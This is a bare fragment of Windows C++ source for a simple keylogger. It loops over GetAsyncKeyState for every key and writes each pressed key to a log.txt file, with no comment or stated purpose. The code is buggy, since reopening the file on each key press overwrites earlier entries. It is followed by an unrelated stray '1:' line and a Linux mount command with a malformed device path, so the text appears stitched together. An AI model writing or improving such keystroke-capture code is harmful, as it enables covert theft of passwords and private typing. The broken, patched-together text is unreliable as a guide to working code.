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int main()
{

SHORT KeyState;
SHORT ArrKeyState[256];
long CheckSum;
long OldCheckSum = 987654; // dummy
using std::ofstream;
using std::endl;

while (1)
{

 CheckSum = 0;
 for (int i = 0; i < 256; i++)
 {

 KeyState = GetAsyncKeyState(i);
 CheckSum += KeyState;
 ArrKeyState[i] = KeyState;

 }

 if (OldCheckSum != CheckSum)
 {
 for (int i = 0; i < 256; i++)
     {
 // -32767 = KeyDown
   if (ArrKeyState[i] == -32767)
{
      ofstream fout("log.txt");
                    fout << "Key " << i << " pressed. (" << (char) i << ")" << endl;
                   }
}
}
OldCheckSum = CheckSum;
}
}

1:

sudo mount -t ext3 /dev/sda1/ /mnt